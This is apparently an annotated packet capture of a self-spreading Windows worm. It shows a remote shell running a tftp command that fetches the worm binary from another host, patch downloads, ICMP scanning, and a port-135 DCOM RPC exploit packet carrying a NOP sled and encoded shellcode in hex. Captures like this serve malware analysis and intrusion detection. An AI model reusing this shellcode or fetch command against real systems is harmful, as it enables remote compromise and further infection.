0x0050 0000 0000 faa0 0000 b8a0 0000 0000 0000 ................
0x0060 0000 0000 0000 0000 03a1 0000 c0a0 0000 ................
0x0070 0000 0000 0000 0000 0000 0000 0ea1 0000 ................
0x0080 c8a0 0000 0000 0000 0000 0000 0000 0000 ................
0x0090 19a1 0000 d0a0 0000 0000 0000 0000 0000 ................
0x00a0 0000 0000 24a1 0000 d8a0 0000 0000 0000 ....$...........
0x00b0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00c0 2ea1 0000 3ca1 0000 4ca1 0000 0000 0000 ....<...L.......
0x00d0 5aa1 0000 0000 0000 68a1 0000 0000 0000 Z.......h.......
0x00e0 76a1 0000 0000 0000 7ca1 0000 0000 0000 v.......|.......
0x00f0 90a1 0000 0000 0000 0b00 0080 0000 0000 ................
0x0100 4b45 524e 454c 3332 2e44 4c4c 0041 4456 KERNEL32.DLL.ADV
0x0110 4150 4933 322e 646c 6c00 4943 4d50 2e64 API32.dll.ICMP.d
0x0120 6c6c 004d 5356 4352 542e 646c 6c00 7572 ll.MSVCRT.dll.ur
0x0130 6c6d 6f6e 2e64 6c6c 0055 5345 5233 322e lmon.dll.USER32.
0x0140 646c 6c00 5753 325f 3332 2e64 6c6c 0000 dll.WS2_32.dll..
0x0150 4c6f 6164 4c69 6272 6172 7941 0000 4765 LoadLibraryA..Ge
0x0160 7450 726f 6341 6464 7265 7373 0000 4578 tProcAddress..Ex
0x0170 6974 5072 6f63 6573 7300 0000 5265 6743 itProcess...RegC
0x0180 6c6f 7365 4b65 7900 0000 4963 6d70 5365 loseKey...IcmpSe
0x0190 6e64 4563 686f 0000 6578 6974 0000 5552 ndEcho..exit..UR
0x01a0 4c44 6f77 6e6c 6f61 6454 6f46 696c 6541 LDownloadToFileA
0x01b0 0000 4578 6974 5769 6e64 6f77 7345 7800 ..ExitWindowsEx.
0x01c0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0210 0000 0000 0000 0000 0000 0000 0000 0000 ................
07:03:56.882940 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c546 0000 8011 5b17 800a 097f E....F....[.....
0x0010 800a 10dc 0f72 0646 000c cf96 0004 0014 .....r.F........
0x0020 7002 4000 b53b 0000 0204 05b4 0101 p.@..;........
07:03:56.882951 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c546 0000 8011 5b17 800a 097f E....F....[.....
0x0010 800a 10dc 0f72 0646 000c cf96 0004 0014 .....r.F........
0x0020 7002 4000 b53b 0000 0204 05b4 0101 p.@..;........
07:03:56.885270 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 4
0x0000 4500 0020 1b18 0000 7f11 0646 800a 10dc E..........F....
0x0010 800a 097f 0646 0f72 000c cf96 0003 0015 .....F.r........
0x0020 0000 0000 0000 0000 0000 0000 e0a0 ..............
07:03:56.885726 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c547 0000 8011 5b16 800a 097f E....G....[.....
0x0010 800a 10dc 0f72 0646 000c cf95 0004 0015 .....r.F........
0x0020 5018 440a a5d4 0000 0d74 6674 7020 P.D......tftp.
07:03:56.885734 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c547 0000 8011 5b16 800a 097f E....G....[.....
0x0010 800a 10dc 0f72 0646 000c cf95 0004 0015 .....r.F........
0x0020 5018 440a a5d4 0000 0d74 6674 7020 P.D......tftp.
07:03:56.898282 XX.XX.XX.220.707 > XXX.X.XX.120.3912: . ack 578 win 16943 (DF)
0x0000 4500 0028 1b19 4000 7f06 c647 800a 10dc E..(..@....G....
0x0010 800a 097f 02c3 0f48 1422 b336 0a1f 137b .......H.".6...{
0x0020 5010 422f 5c38 0000 800a 10dc 800a P.B/\8........
07:03:56.899336 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 578:738(160) ack 159
win 17362 (DF)
0x0000 4500 00c8 c548 4000 8006 1a78 800a 097f E....H@....x....
0x0010 800a 10dc 0f48 02c3 0a1f 137b 1422 b336 .....H.....{.".6
0x0020 5018 43d2 ead5 0000 433a 5c57 494e 444f P.C.....C:\WINDO
0x0030 5753 5c73 7973 7465 6d33 323e 0d74 6674 WS\system32>.tft
0x0040 7020 2d69 2031 3238 2e31 302e 3136 2e32 p.-i.128.10.16.2
0x0050 3230 2067 6574 2064 6c6c 686f 7374 2e65 20.get.dllhost.e
0x0060 7865 2077 696e 735c 444c 4c48 4f53 542e xe.wins\DLLHOST.
0x0070 4558 450a 5472 616e 7366 6572 2073 7563 EXE.Transfer.suc
0x0080 6365 7373 6675 6c3a 2031 3032 3430 2062 cessful:.10240.b
0x0090 7974 6573 2069 6e20 3120 7365 636f 6e64 ytes.in.1.second
0x00a0 2c20 3130 3234 3020 6279 7465 732f 730d ,.10240.bytes/s.
0x00b0 0d0a 0d0a 433a 5c57 494e 444f 5753 5c73 ....C:\WINDOWS\s
0x00c0 7973 7465 6d33 323e ystem32>
07:03:56.899347 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 578:738(160) ack 159
win 17362 (DF)
0x0000 4500 00c8 c548 4000 8006 1a78 800a 097f E....H@....x....
0x0010 800a 10dc 0f48 02c3 0a1f 137b 1422 b336 .....H.....{.".6
0x0020 5018 43d2 ead5 0000 433a 5c57 494e 444f P.C.....C:\WINDO
0x0030 5753 5c73 7973 7465 6d33 323e 0d74 6674 WS\system32>.tft
0x0040 7020 2d69 2031 3238 2e31 302e 3136 2e32 p.-i.128.10.16.2
0x0050 3230 2067 6574 2064 6c6c 686f 7374 2e65 20.get.dllhost.e
0x0060 7865 2077 696e 735c 444c 4c48 4f53 542e xe.wins\DLLHOST.
0x0070 4558 450a 5472 616e 7366 6572 2073 7563 EXE.Transfer.suc
0x0080 6365 7373 6675 6c3a 2031 3032 3430 2062 cessful:.10240.b
0x0090 7974 6573 2069 6e20 3120 7365 636f 6e64 ytes.in.1.second
0x00a0 2c20 3130 3234 3020 6279 7465 732f 730d ,.10240.bytes/s.
0x00b0 0d0a 0d0a 433a 5c57 494e 444f 5753 5c73 ....C:\WINDOWS\s
0x00c0 7973 7465 6d33 323e ystem32>
07:03:57.242422 XX.XX.XX.220.707 > XXX.X.XX.120.3912: . ack 738 win 16783 (DF)
0x0000 4500 0028 1b2d 4000 7f06 c633 800a 10dc E..(.-@....3....
0x0010 800a 097f 02c3 0f48 1422 b336 0a1f 141b .......H.".6....
0x0020 5010 418f 5c38 0000 5480 2db1 e9b8 P.A.\8..T.-...
07:03:57.674102 XX.XX.XX.220.707 > XXX.X.XX.120.3912: P 159:177(18) ack 738 win
16783 (DF)
0x0000 4500 003a 1b45 4000 7f06 c609 800a 10dc E..:.E@.........
0x0010 800a 097f 02c3 0f48 1422 b336 0a1f 141b .......H.".6....
0x0020 5018 418f a175 0000 7769 6e73 5c44 4c4c P.A..u..wins\DLL
0x0030 484f 5354 2e45 5845 0a0d HOST.EXE..
07:03:57.675049 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 738:756(18) ack 177 win
17344 (DF)
0x0000 4500 003a c549 4000 8006 1b05 800a 097f E..:.I@.........
0x0010 800a 10dc 0f48 02c3 0a1f 141b 1422 b348 .....H.......".H
0x0020 5018 43c0 b120 0000 0d77 696e 735c 444c P.C......wins\DL
0x0030 4c48 4f53 542e 4558 450a LHOST.EXE.
07:03:57.675061 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 738:756(18) ack 177 win
17344 (DF)
0x0000 4500 003a c549 4000 8006 1b05 800a 097f E..:.I@.........
0x0010 800a 10dc 0f48 02c3 0a1f 141b 1422 b348 .....H.......".H
0x0020 5018 43c0 b120 0000 0d77 696e 735c 444c P.C......wins\DL
0x0030 4c48 4f53 542e 4558 450a LHOST.EXE.
07:03:58.042091 XX.XX.XX.220.707 > XXX.X.XX.120.3912: . ack 756 win 16765 (DF)
0x0000 4500 0028 1b57 4000 7f06 c609 800a 10dc E..(.W@.........
0x0010 800a 097f 02c3 0f48 1422 b348 0a1f 142d .......H.".H...-
0x0020 5010 417d 5c26 0000 5480 d00d 6fff P.A}\&..T...o.
07:03:59.409801 XX.XX.XX.220.707 > XXX.X.XX.120.3912: R 337818440:337818440(0)
win 0 (DF)
0x0000 4500 0028 1c33 4000 7f06 c52d 800a 10dc E..(.3@....-....
0x0010 800a 097f 02c3 0f48 1422 b348 bd88 7524 .......H.".H..u$
0x0020 5004 0000 894e 0000 0000 0000 0000 P....N........
Downloading patches !!!
Patch name: WindowsXP-KB823980-x86-ENU.exe
Patch directory: download/9/8/b/98bcfad8-afbc-458f-aaee-b7a52a983f01/
07:04:03.019699 XXX.X.XX.120.1026 >
128.10.9.41.53: 7+ A? microsoft.com. (31)
0x0000 4500 003b c586 0000 8011 626f 800a 097f E..;......bo....
0x0010 800a 0929 0402 0035 0027 b3b0 0007 0100 ...)...5.'......
0x0020 0001 0000 0000 0000 096d 6963 726f 736f .........microso
0x0030 6674 0363 6f6d 0000 0100 01 ft.com.....
07:04:03.503458 128.10.9.41.53 >
XXX.X.XX.120.1026: 8 6/0/0 CNAME dl-geodir.microsoft.akadns.net., CNAME
loadsplit-dom-dl.microsoft.akadns.net., CNAME download.microsoft.com.d4p.net.,
CNAME a767.ms.akamai.net., A 209.51.177.46, A 209.51.177.49 (217)
0x0000 4500 00f5 e216 0000 8011 4525 800a 0929 E.........E%...)
0x0010 800a 097f 0035 0402 00e1 2ea9 0008 8180 .....5..........
0x0020 0001 0006 0000 0000 0864 6f77 6e6c 6f61 .........downloa
0x0030 6409 6d69 6372 6f73 6f66 7403 636f 6d00 d.microsoft.com.
0x0040 0001 0001 c00c 0005 0001 0000 0e10 0020 ................
0x0050 0964 6c2d 6765 6f64 6972 096d 6963 726f .dl-geodir.micro
0x0060 736f 6674 0661 6b61 646e 7303 6e65 7400 soft.akadns.net.
0x0070 c034 0005 0001 0000 012c 0013 106c 6f61 .4.......,...loa
0x0080 6473 706c 6974 2d64 6f6d 2d64 6cc0 3ec0 dsplit-dom-dl.>.
0x0090 6000 0500 0100 0001 2c00 1d08 646f 776e `.......,...down
0x00a0 6c6f 6164 096d 6963 726f 736f 6674 0363 load.microsoft.c
0x00b0 6f6d 0364 3470 c04f c07f 0005 0001 0000 om.d4p.O........
0x00c0 1c20 0011 0461 3736 3702 6d73 0661 6b61 .....a767.ms.aka
0x00d0 6d61 69c0 4fc0 a800 0100 0100 0000 1400 mai.O...........
0x00e0 04d1 33b1 2ec0 a800 0100 0100 0000 1400 ..3.............
0x00f0 04d1 33b1 31 ..3.1
07:04:03.507556 XXX.X.XX.120.4016 >
209.51.177.46.80: S 176491948:176491948(0) win 16384 <mss 1460,nop,nop,sackOK>
(DF)
0x0000 4500 0030 c588 4000 8006 2954 800a 097f E..0..@...)T....
0x0010 d133 b12e 0fb0 0050 0a85 0dac 0000 0000 .3.....P........
0x0020 7002 4000 0f03 0000 0204 05b4 0101 0402 p.@.............
07:04:03.507568 XXX.X.XX.120.4016 > 209.51.177.46.80: S 176491948:176491948(0)
win 16384 <mss 1460,nop,nop,sackOK> (DF)
0x0000 4500 0030 c588 4000 8006 2954 800a 097f E..0..@...)T....
0x0010 d133 b12e 0fb0 0050 0a85 0dac 0000 0000 .3.....P........
0x0020 7002 4000 0f03 0000 0204 05b4 0101 0402 p.@.............
07:04:03.531404 209.51.177.46.80 > XXX.X.XX.120.4016: S 76190929:76190929(0) ack
176491949 win 5840 <mss 1460,nop,nop,sackOK> (DF)
0x0000 4500 0030 0000 4000 3806 36dd d133 b12e E..0..@.8.6..3..
0x0010 800a 097f 0050 0fb0 048a 94d1 0a85 0dad .....P..........
0x0020 7012 16d0 9ec6 0000 0204 05b4 0101 0402 p...............
07:04:03.536981 XXX.X.XX.120.4016 > 209.51.177.46.80: . ack 1 win 17520 (DF)
0x0000 4500 0028 c58a 4000 8006 295a 800a 097f E..(..@...)Z....
0x0010 d133 b12e 0fb0 0050 0a85 0dad 048a 94d2 .3.....P........
0x0020 5010 4470 9dea 0000 0204 05b4 0101 P.Dp..........
07:04:03.536993 XXX.X.XX.120.4016 > 209.51.177.46.80: . ack 1 win 17520 (DF)
0x0000 4500 0028 c58a 4000 8006 295a 800a 097f E..(..@...)Z....
0x0010 d133 b12e 0fb0 0050 0a85 0dad 048a 94d2 .3.....P........
0x0020 5010 4470 9dea 0000 0204 05b4 0101 P.Dp..........
07:04:03.538617 XXX.X.XX.120.4016 > 209.51.177.46.80: P 1:232(231) ack 1 win
17520 (DF)
0x0000 4500 010f c58b 4000 8006 2872 800a 097f E.....@...(r....
0x0010 d133 b12e 0fb0 0050 0a85 0dad 048a 94d2 .3.....P........
0x0020 5018 4470 b5c0 0000 4745 5420 2f64 6f77 P.Dp....GET./dow
0x0030 6e6c 6f61 642f 392f 382f 622f 3938 6263 nload/9/8/b/98bc
0x0040 6661 6438 2d61 6662 632d 3435 3866 2d61 fad8-afbc-458f-a
0x0050 6165 652d 6237 6135 3261 3938 3366 3031 aee-b7a52a983f01
0x0060 2f57 696e 646f 7773 5850 2d4b 4238 3233 /WindowsXP-KB823
0x0070 3938 302d 7838 362d 454e 552e 6578 6520 980-x86-ENU.exe.
0x0080 4854 5450 2f31 2e30 0d0a 4163 6365 7074 HTTP/1.0..Accept
0x0090 3a20 2a2f 2a0d 0a55 7365 722d 4167 656e :.*/*..User-Agen
0x00a0 743a 204d 6f7a 696c 6c61 2f34 2e30 2028 t:.Mozilla/4.0.(
0x00b0 636f 6d70 6174 6962 6c65 3b20 4d53 4945 compatible;.MSIE
0x00c0 2036 2e30 3b20 5769 6e64 6f77 7320 4e54 .6.0;.Windows.NT
0x00d0 2035 2e31 290d 0a48 6f73 743a 2064 6f77 .5.1)..Host:.dow
0x00e0 6e6c 6f61 642e 6d69 6372 6f73 6f66 742e nload.microsoft.
0x00f0 636f 6d0d 0a43 6f6e 6e65 6374 696f 6e3a com..Connection:
0x0100 204b 6565 702d 416c 6976 650d 0a0d 0a .Keep-Alive....
Transferring WindowsXP-KB823980-x86-ENU.exe!!!!
Omitted to save space
Infecting others!!!!
07:06:42.011356 XXX.X.XX.120 > XX.XX.XX.220: icmp: echo request
0x0000 4500 005c 1e8b 0000 8001 01a7 800a 097f E..\............
0x0010 800a 10dc 0800 d699 0200 ca10 aaaa aaaa ................
0x0020 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa ................
0x0030 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa ................
0x0040 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa ................
0x0050 aaaa aaaa aaaa aaaa aaaa aaaa ............
07:06:42.013819 XX.XX.XX.220 > XXX.X.XX.120: icmp: echo reply
0x0000 4500 005c 57d6 0000 7f01 c95b 800a 10dc E..\W......[....
0x0010 800a 097f 0000 de99 0200 ca10 aaaa aaaa ................
0x0020 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa ................
0x0030 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa ................
0x0040 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa ................
0x0050 aaaa aaaa aaaa aaaa aaaa aaaa ............
07:06:42.015338 XXX.X.XX.120.2565 > XX.XX.XX.220.135: S
3142038898:3142038898(0) win 16384 <mss 1460,nop,nop,sackOK> (DF)
0x0000 4500 0030 1e8c 4000 8006 c1cc 800a 097f E..0..@.........
0x0010 800a 10dc 0a05 0087 bb47 b572 0000 0000 .........G.r....
0x0020 7002 4000 ad69 0000 0204 05b4 0101 0402 p.@..i..........
07:06:42.015352 XXX.X.XX.120.2565 > XX.XX.XX.220.135: S
3142038898:3142038898(0) win 16384 <mss 1460,nop,nop,sackOK> (DF)
0x0000 4500 0030 1e8c 4000 8006 c1cc 800a 097f E..0..@.........
0x0010 800a 10dc 0a05 0087 bb47 b572 0000 0000 .........G.r....
0x0020 7002 4000 ad69 0000 0204 05b4 0101 0402 p.@..i..........
07:06:42.017480 XX.XX.XX.220.135 > XXX.X.XX.120.2565: S 388685753:388685753(0)
ack 3142038899 win 17520 <mss 1460,nop,nop,sackOK> (DF)
0x0000 4500 0030 57d7 4000 7f06 8981 800a 10dc E..0W.@.........
0x0010 800a 097f 0087 0a05 172a dfb9 bb47 b573 .........*...G.s
0x0020 7012 4470 b204 0000 0204 05b4 0101 0402 p.Dp............
07:06:42.018043 XXX.X.XX.120.2565 > XX.XX.XX.220.135: . ack 1 win 17520 (DF)
0x0000 4500 0028 1e8d 4000 8006 c1d3 800a 097f E..(..@.........
0x0010 800a 10dc 0a05 0087 bb47 b573 172a dfba .........G.s.*..
0x0020 5010 4470 dec8 0000 0500 0003 1000 P.Dp..........
07:06:42.018052 XXX.X.XX.120.2565 > XX.XX.XX.220.135: . ack 1 win 17520 (DF)
0x0000 4500 0028 1e8d 4000 8006 c1d3 800a 097f E..(..@.........
0x0010 800a 10dc 0a05 0087 bb47 b573 172a dfba .........G.s.*..
0x0020 5010 4470 dec8 0000 0500 0003 1000 P.Dp..........
07:06:42.018498 XXX.X.XX.120.2565 > XX.XX.XX.220.135: P 1:73(72) ack 1 win
17520 (DF)
0x0000 4500 0070 1e8e 4000 8006 c18a 800a 097f E..p..@.........
0x0010 800a 10dc 0a05 0087 bb47 b573 172a dfba .........G.s.*..
0x0020 5018 4470 958f 0000 0500 0b03 1000 0000 P.Dp............
0x0030 4800 0000 7f00 0000 d016 d016 0000 0000 H...............
0x0040 0100 0000 0100 0100 a001 0000 0000 0000 ................
0x0050 c000 0000 0000 0046 0000 0000 045d 888a .......F.....]..
0x0060 eb1c c911 9fe8 0800 2b10 4860 0200 0000 ........+.H`....
07:06:42.018505 XXX.X.XX.120.2565 > XX.XX.XX.220.135: P 1:73(72) ack 1 win
17520 (DF)
0x0000 4500 0070 1e8e 4000 8006 c18a 800a 097f E..p..@.........
0x0010 800a 10dc 0a05 0087 bb47 b573 172a dfba .........G.s.*..
0x0020 5018 4470 958f 0000 0500 0b03 1000 0000 P.Dp............
0x0030 4800 0000 7f00 0000 d016 d016 0000 0000 H...............
0x0040 0100 0000 0100 0100 a001 0000 0000 0000 ................
0x0050 c000 0000 0000 0046 0000 0000 045d 888a .......F.....]..
0x0060 eb1c c911 9fe8 0800 2b10 4860 0200 0000 ........+.H`....
07:06:42.021624 XX.XX.XX.220.135 > XXX.X.XX.120.2565: P 1:61(60) ack 73 win
17448 (DF)
0x0000 4500 0064 57d8 4000 7f06 894c 800a 10dc E..dW.@....L....
0x0010 800a 097f 0087 0a05 172a dfba bb47 b5bb .........*...G..
0x0020 5018 4428 d455 0000 0500 0c03 1000 0000 P.D(.U..........
0x0030 3c00 0000 7f00 0000 d016 d016 685a 0000 <...........hZ..
0x0040 0400 3133 3500 5c00 0100 0000 0000 0000 ..135.\.........
0x0050 045d 888a eb1c c911 9fe8 0800 2b10 4860 .]..........+.H`
0x0060 0200 0000 ....
07:06:42.022294 XXX.X.XX.120.2565 > XX.XX.XX.220.135: . 73:1533(1460) ack 61
win 17460 (DF)
0x0000 4500 05dc 1e90 4000 8006 bc1c 800a 097f E.....@.........
0x0010 800a 10dc 0a05 0087 bb47 b5bb 172a dff6 .........G...*..
0x0020 5010 4434 ac0d 0000 0500 0003 1000 0000 P.D4............
0x0030 a806 0000 e500 0000 9006 0000 0100 0400 ................
0x0040 0500 0600 0100 0000 0000 0000 3224 58fd ............2$X.
0x0050 cc45 6449 b070 ddae 742c 96d2 605e 0d00 .EdI.p..t,..`^..
0x0060 0100 0000 0000 0000 705e 0d00 0200 0000 ........p^......
0x0070 7c5e 0d00 0000 0000 1000 0000 8096 f1f1 |^..............
0x0080 2a4d ce11 a66a 0020 af6e 72f4 0c00 0000 *M...j...nr.....
0x0090 4d41 5242 0100 0000 0000 0000 0df0 adba MARB............
0x00a0 0000 0000 a8f4 0b00 2006 0000 2006 0000 ................
0x00b0 4d45 4f57 0400 0000 a201 0000 0000 0000 MEOW............
0x00c0 c000 0000 0000 0046 3803 0000 0000 0000 .......F8.......
0x00d0 c000 0000 0000 0046 0000 0000 f005 0000 .......F........
0x00e0 e805 0000 0000 0000 0110 0800 cccc cccc ................
0x00f0 c800 0000 4d45 4f57 e805 0000 d800 0000 ....MEOW........
0x0100 0000 0000 0200 0000 0700 0000 0000 0000 ................
0x0110 0000 0000 0000 0000 0000 0000 c428 cd00 .............(..
0x0120 6429 cd00 0000 0000 0700 0000 b901 0000 d)..............
0x0130 0000 0000 c000 0000 0000 0046 ab01 0000 ...........F....
0x0140 0000 0000 c000 0000 0000 0046 a501 0000 ...........F....
0x0150 0000 0000 c000 0000 0000 0046 a601 0000 ...........F....
0x0160 0000 0000 c000 0000 0000 0046 a401 0000 ...........F....
0x0170 0000 0000 c000 0000 0000 0046 ad01 0000 ...........F....
0x0180 0000 0000 c000 0000 0000 0046 aa01 0000 ...........F....
0x0190 0000 0000 c000 0000 0000 0046 0700 0000 ...........F....
0x01a0 6000 0000 5800 0000 9000 0000 4000 0000 `...X.......@...
0x01b0 2000 0000 3803 0000 3000 0000 0100 0000 ....8...0.......
0x01c0 0110 0800 cccc cccc 5000 0000 4fb6 8820 ........P...O...
0x01d0 ffff ffff 0000 0000 0000 0000 0000 0000 ................
0x01e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0210 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0220 0110 0800 cccc cccc 4800 0000 0700 6600 ........H.....f.
0x0230 0609 0200 0000 0000 c000 0000 0000 0046 ...............F
0x0240 1000 0000 0000 0000 0000 0000 0100 0000 ................
0x0250 0000 0000 7819 0c00 5800 0000 0500 0600 ....x...X.......
0x0260 0100 0000 70d8 9893 984f d211 a93d be57 ....p....O...=.W
0x0270 b200 0000 3200 3100 0110 0800 cccc cccc ....2.1.........
0x0280 8000 0000 0df0 adba 0000 0000 0000 0000 ................
0x0290 0000 0000 0000 0000 1843 1400 0000 0000 .........C......
0x02a0 6000 0000 6000 0000 4d45 4f57 0400 0000 `...`...MEOW....
0x02b0 c001 0000 0000 0000 c000 0000 0000 0046 ...............F
0x02c0 3b03 0000 0000 0000 c000 0000 0000 0046 ;..............F
0x02d0 0000 0000 3000 0000 0100 0100 81c5 1703 ....0...........
0x02e0 800e e94a 9999 f18a 506f 7a85 0200 0000 ...J....Poz.....
0x02f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0300 0000 0000 0100 0000 0110 0800 cccc cccc ................
0x0310 3000 0000 7800 6e00 0000 0000 d8da 0d00 0...x.n.........
0x0320 0000 0000 0000 0000 202f 0c00 0000 0000 ........./......
0x0330 0000 0000 0300 0000 0000 0000 0300 0000 ................
0x0340 4600 5800 0000 0000 0110 0800 cccc cccc F.X.............
0x0350 1000 0000 3000 2e00 0000 0000 0000 0000 ....0...........
0x0360 0000 0000 0000 0000 0110 0800 cccc cccc ................
0x0370 6800 0000 0e00 ffff 688b 0b00 0200 0000 h.......h.......
0x0380 0000 0000 0000 0000 8601 0000 0000 0000 ................
0x0390 8601 0000 5c00 5c00 4600 5800 4e00 4200 ....\.\.F.X.N.B.
0x03a0 4600 5800 4600 5800 4e00 4200 4600 5800 F.X.F.X.N.B.F.X.
0x03b0 4600 5800 4600 5800 4600 5800 9d13 0001 F.X.F.X.F.X.....
0x03c0 cce0 fd7f cce0 fd7f 9090 9090 9090 9090 ................
0x03d0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x03e0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x03f0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0400 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0410 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0420 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0430 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0440 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0450 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0460 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0470 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0480 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0490 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04a0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04b0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04c0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04d0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04e0 9090 9090 9090 9090 9090 9090 9090 eb10 ................
0x04f0 5a4a 33c9 66b9 7601 8034 0a99 e2fa eb05 ZJ3.f.v..4......
0x0500 e8eb ffff ff70 6199 9999 c321 9569 64e6 .....pa....!.id.
0x0510 1299 12e9 8534 12d9 9112 4112 eaa5 9a6a .....4....A....j
0x0520 12ef e19a 6a12 e7b9 9a62 12d7 8daa 74cf ....j....b....t.
0x0530 cec8 12a6 9a62 126b f397 c06a 3fed 91c0 .....b.k...j?...
0x0540 c61a 5e9d dc7b 70c0 c6c7 1254 12df bd9a ..^..{p....T....
0x0550 5a48 789a 58aa 50ff 1291 12df 859a 5a58 ZHx.X.P.......ZX
0x0560 789b 9a58 1299 9a5a 1263 126e 1a5f 9712 x..X...Z.c.n._..
0x0570 49f3 9ac0 71ed 9999 991a 5f94 cbcf 66ce I...q....._...f.
0x0580 65c3 1241 f39a c071 f899 9999 1a75 dd12 e..A...q.....u..
0x0590 6df3 89c0 109d 177b 62c9 c9c9 c9f3 98f3 m......{b.......
0x05a0 9b66 ce6d 1241 10c7 a110 c7a5 10c7 d9ff .f.m.A..........
0x05b0 5edf b598 9814 de89 c9cf aa59 c9c9 c9f3 ^..........Y....
0x05c0 98c9 c914 cea5 5e9b faf4 fd99 cbc9 66ce ......^.......f.
0x05d0 715e 9e9b 999b 5a5e de9d 1993 q^....Z^....
07:06:42.022304 XXX.X.XX.120.2565 > XX.XX.XX.220.135: . 73:1533(1460) ack 61
win 17460 (DF)
0x0000 4500 05dc 1e90 4000 8006 bc1c 800a 097f E.....@.........
0x0010 800a 10dc 0a05 0087 bb47 b5bb 172a dff6 .........G...*..
0x0020 5010 4434 ac0d 0000 0500 0003 1000 0000 P.D4............
0x0030 a806 0000 e500 0000 9006 0000 0100 0400 ................
0x0040 0500 0600 0100 0000 0000 0000 3224 58fd ............2$X.
0x0050 cc45 6449 b070 ddae 742c 96d2 605e 0d00 .EdI.p..t,..`^..
0x0060 0100 0000 0000 0000 705e 0d00 0200 0000 ........p^......
0x0070 7c5e 0d00 0000 0000 1000 0000 8096 f1f1 |^..............
0x0080 2a4d ce11 a66a 0020 af6e 72f4 0c00 0000 *M...j...nr.....
0x0090 4d41 5242 0100 0000 0000 0000 0df0 adba MARB............
0x00a0 0000 0000 a8f4 0b00 2006 0000 2006 0000 ................
0x00b0 4d45 4f57 0400 0000 a201 0000 0000 0000 MEOW............
0x00c0 c000 0000 0000 0046 3803 0000 0000 0000 .......F8.......
0x00d0 c000 0000 0000 0046 0000 0000 f005 0000 .......F........
0x00e0 e805 0000 0000 0000 0110 0800 cccc cccc ................
0x00f0 c800 0000 4d45 4f57 e805 0000 d800 0000 ....MEOW........
0x0100 0000 0000 0200 0000 0700 0000 0000 0000 ................
0x0110 0000 0000 0000 0000 0000 0000 c428 cd00 .............(..
0x0120 6429 cd00 0000 0000 0700 0000 b901 0000 d)..............
0x0130 0000 0000 c000 0000 0000 0046 ab01 0000 ...........F....
0x0140 0000 0000 c000 0000 0000 0046 a501 0000 ...........F....
0x0150 0000 0000 c000 0000 0000 0046 a601 0000 ...........F....
0x0160 0000 0000 c000 0000 0000 0046 a401 0000 ...........F....
0x0170 0000 0000 c000 0000 0000 0046 ad01 0000 ...........F....
0x0180 0000 0000 c000 0000 0000 0046 aa01 0000 ...........F....
0x0190 0000 0000 c000 0000 0000 0046 0700 0000 ...........F....
0x01a0 6000 0000 5800 0000 9000 0000 4000 0000 `...X.......@...
0x01b0 2000 0000 3803 0000 3000 0000 0100 0000 ....8...0.......
0x01c0 0110 0800 cccc cccc 5000 0000 4fb6 8820 ........P...O...
0x01d0 ffff ffff 0000 0000 0000 0000 0000 0000 ................
0x01e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0210 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0220 0110 0800 cccc cccc 4800 0000 0700 6600 ........H.....f.
0x0230 0609 0200 0000 0000 c000 0000 0000 0046 ...............F
0x0240 1000 0000 0000 0000 0000 0000 0100 0000 ................
0x0250 0000 0000 7819 0c00 5800 0000 0500 0600 ....x...X.......
0x0260 0100 0000 70d8 9893 984f d211 a93d be57 ....p....O...=.W
0x0270 b200 0000 3200 3100 0110 0800 cccc cccc ....2.1.........
0x0280 8000 0000 0df0 adba 0000 0000 0000 0000 ................
0x0290 0000 0000 0000 0000 1843 1400 0000 0000 .........C......
0x02a0 6000 0000 6000 0000 4d45 4f57 0400 0000 `...`...MEOW....
0x02b0 c001 0000 0000 0000 c000 0000 0000 0046 ...............F
0x02c0 3b03 0000 0000 0000 c000 0000 0000 0046 ;..............F
0x02d0 0000 0000 3000 0000 0100 0100 81c5 1703 ....0...........
